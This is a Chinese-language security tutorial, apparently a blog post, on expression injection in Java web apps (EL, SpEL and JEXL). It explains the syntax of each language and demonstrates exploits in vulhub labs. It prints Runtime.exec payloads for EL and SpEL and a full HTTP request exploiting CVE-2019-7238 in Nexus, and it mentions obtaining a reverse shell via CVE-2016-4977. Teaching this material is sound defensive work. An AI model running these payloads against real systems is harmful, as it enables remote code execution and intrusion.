花式注入那点事儿(上) | 技术精选0116


本文约5200字,阅读约需12分钟。


听到注入,也许你首先会想到的是SQL注入,但是,你知道其他的注入方式吗?

让我们先从Web注入的成因开始讲起。注入产生的条件就是服务端未对用户的输入做校验,将用户输入的内容作为正确内容的一部分接收,执行了用户插入的恶意内容从而导致出现各种问题。

由此可知,注入的类型就不仅仅局限于SQL,还包括好多……其实命令执行就是一种注入。

在此系列中,就给大家讲讲你可能不知道的那些注入类型,比如表达式注入,又可分为EL表达式注入、OGNL表达式注入、JEXL表达式注入、SPEL表达式注入等。

再比如SSTI又称模板注入、JWT注入、HTML注入、DDE注入、CRLF注入(响应截断)、LDAP注入等等多种。

是不是好多都没有听说过?

这其中,有的可能是由客户端对服务器发起的,也有的可能是由服务端对客户端发起的,更有的混杂在其他漏洞中让你傻傻分不清。这系列文章就带你了解一下那些你可能见过但又不知道类型的“花式注入”。

1

表达式注入

什么是表达式注入?

表达式注入(Expression Language Injection)在2013年由OWASP创建,这种漏洞现在也被安全人员称之为远程代码执行漏洞。因为表达式注入经常出现在Java Web中,所以又称之为JWEL注入。

我们经常所说的struts2系列漏洞,就是表达式注入的一种,也称之为OGNL表达式注入。因为其对OGNL执行函数的处理不当,导致出现了远程代码执行。

正因为有了Java表达式这种工具,开发者们可以方便地进行动态赋值等操作。同时,也因为开发者对用户的输入处理不当,导致rce,形成各式各样的表达式注入。

表达式注入的类型

1.EL表达式注入

EL全名为Expression Language。他的语法很简单,且最大的特点就是使用方便。

同时他也是JSP的内置语言,用来访问页面的上下文以及不同作用域中的对象,取得对象属性的值,或执行简单的运算或判断操作。

他的主要语法结构如下:
${sessionScope.company.staff}

其中"${}"中的内容就是我们可操作的对象,如果按照之前JSP可能会这么写:
Company company  =(Company)session.getAttribute("company");

String
 staff  =company.getStaff(  );

不过这些都不重要,重要的就是我们知道EL的主要语法结构就好,它也提供"."和"[]"两种运算符来导航数据,如:
${sessionScope.company["staff"]}

到底两种情况会有哪些差异,我们可以参考这篇文章:

https://www.cnblogs.com/czs1982/p/3966748.html

EL的读存取也很简单,例如我们的示例中,从Session的范围内取得公司的员工值, 但是当没有指定哪一个范围的公司员工时,他会从默认值Page的范围中寻找。

假如找不到,再依序到Request、Session、Application范围中寻找。假如途中找到公司员工,就直接回传,不再继续找下去,如果没有找到,就会在页面上显示空白。

属性范围(jstl名称)
EL中的名称
Page
PageScope
Request
RequestScope
Session
SessionScope
Application
ApplicationScope

同时EL也提供一些操作符,其中绝大多数都是Java常用的操作符,比如:

常见的:
"+  -  *  /"

取余:
"%  mod"
关系运算符:
"=="或"eq"、"!="或"ne"、"<"或 "lt"、">"或"gt"、"<="或"le"、">="或"ge"

逻辑运算符:
"&&"或"and"、"||"或"or"、"!"或"not"

再有就是"Empty"空运算符和条件运算符"${ A ? B : C}"

既然知道EL注入是注入的一种,那么它的原理也是外部的可控,导致攻击者注入恶意表达式,实现rce。

它的通用poc如下:


//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)${pageContext}//获取Web路径${pageContext.getSession().getServletContext().getClassLoader().getRe
source("")}//文件头参数${header}//获取webRoot${applicationScope}//执行命令${pageContext.request.getSession().setAttribute("a",pageContext.reque
st.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
但是在测试中,更多用计算加减乘除来判断,比如这样"${7*8}"

虽然我知道这个漏洞,但是从来没有挖到过……只能从乌云镜像上找几个洞来演示了。 

WooYun-2016-196160:
groupName=1&papersType=${555-

444}&papersValue=1&baseacct=1&retMsg=1&retCode=1

可以看到在papersType处存在参数可控,执行后会在页面某处出现111这个数字,拿一个SPEL注入的例子(原理都差不多)展示:




最终可直接命令执行。

2.SPEL表达式注入

Spring Expression Language又称为SPEL,顾名思义是Spring专属的表达式语言,不仅支持在运行时查询和操作对象图,也提供方法调用和基本的字符串模板功能,同时也允许将其集成到其他应用程序和框架中。

SPEL使用"#{...}"作为定界符,所有在大括号中的字符都将被认为是SPEL表达,我们可以在其中使用运算符、变量以及引用bean,属性和方法如下:

引用其他对象:"#{car}"

引用其他对象的属性:"#{car.brand}"

调用其他方法,还可以链式操作:"#{car.toString()}"

属性其中引用名称还可以用"$"符号如:"${someProperty}"

除此以外,在SPEL表达式中,使用"T()"。运算符会调用类作用域的方法和常量,例如,在SPEL表达式中使用的Java的Math类,可以像下面示例这样使用T()运算符:
#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

我们最常用的其实就是弹出计算器,证明我们攻击成功了,比如这段代码:
ExpressionParser  parser  =  new  SpelExpressionParser();

Expression  exp  =parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"ope

n/Applications/Calculator.app")");

Object  value  =  exp.getValue();

通过T()调用一个类的静态方法,返回一个Class Object,然后再调用相应的方法和属性。

我们通过CVE-2016-4977来进行演示。

CVE-2016-4977,Spring Security OAuth是为spring框架提供安全认证支持的一个模块,在其使用白色标签视图来处理错误时,由于使用了SPEL,攻击者可以构造恶意参数来远程命令执行。

启动我们的vulhub环境:
docker-compose  up  -d

在response_type参数处存在可控,输入我们的表达式"${555-444}",便可在其报错页面显示我们的结果。


通过其官方提供的poc,将我们的bash语句base64加密,生成我们需要的SPEL表达式:



监听我们的4444端口,执行我们的代码,可见成功返回shell。



3、JEXL表达式注入

Java EXpression Language,简称JEXL,是一个旨在促进在用Java编写的应用程序和框架中实现动态和脚本功能的库,也是基于JSTL表达式语言的某些扩展实现的一种表达式语言。

该表达式也提供了一些脚本语言,比如前几种表达式语言的加减乘除,同时也提供一些模块和组件配置、接口和实现松散耦合或者鸭式键入、简单的模板功能。

……算了,作为一个要做史上最强脚本小子的人,我懂那么多干嘛?直接上才艺(借用 vulhub直接演示):

CVE-2019-7238,又称为Nexus Repository Manager 3远程代码执行漏洞,由于这套系统在一些大型企业里面有一定的使用量,所以在实战过程中还是有一定用处的。

经过研究发现,该漏洞是一个基于OrientDB自定义函数的任意JEXL表达式执行漏洞,由于JEXL表达式可以执行JAVA代码同时没有安全上的限制,所以间接的就成了远程代码漏洞。

具体分析可以参考:

https://xz.aliyun.com/t/4136

https://www.anquanke.com/post/id/171116


登录到后台随便上传一个jar包,这个漏洞的触发条件就是仓库里面必须有一个jar包。任意找一个jar包上传:


条件既然已经给足了,那就直接祭出我们的exp:



或者直接发包:


POST  /service/extdirect  HTTP/1.1Host:  localhostUser-Agent:  Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.14;  rv:63.0)  Gecko/20100101  Firefox/63.0Accept:  */*Content-Type:  application/jsonX-Requested-With:  XMLHttpRequestContent-Length:  368Connection:  close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch  /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

其中exec里面就是我们需要执行的命令,正常情况下执行命令是不回显的,需要利用 classloader加载字节码。



2

总结

表达式注入在很多情况下是命令执行的外在表现形式,其中有一些是我们常说但是不知道是什么原因引起的注入,比如struts2框架的OGNL表达式语言,在测试中也有的时候会以这种情况出现。

跳转出现参数时,我们就该考虑一下表达式注入。如果可以用这个漏洞计算加减乘除,不比计算器香?

有的时候,我们不用输入"${}",直接在参数后加减也可以计算,但是有时需要加上"${}",这就需要赏金猎人们自己判断了。

当然还有更多的姿势,比如绕过WAF。这些新姿势需要大佬慢慢挖掘,作为工具收集者的我静候大佬的exp。

3

参考文章

最后,放一些参考文章,大家可以自行学习取用。在下周三的更新中,我们会聊一聊DDE注入和HTML注入,到时不见不散!

https://xz.aliyun.com/t/7692#toc-0

https://aluvion.github.io/2019/04/25/Java%E7%89%B9%E8%89%B2-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%83/

http://commons.apache.org/proper/commons-jexl/

https://blog.csdn.net/weixin_42382121/article/details/82557048

https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-7525


- END -

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/171930.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:105 积分: 865

提前看好文,搜索-微信公众号:酒仙桥六号部队

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号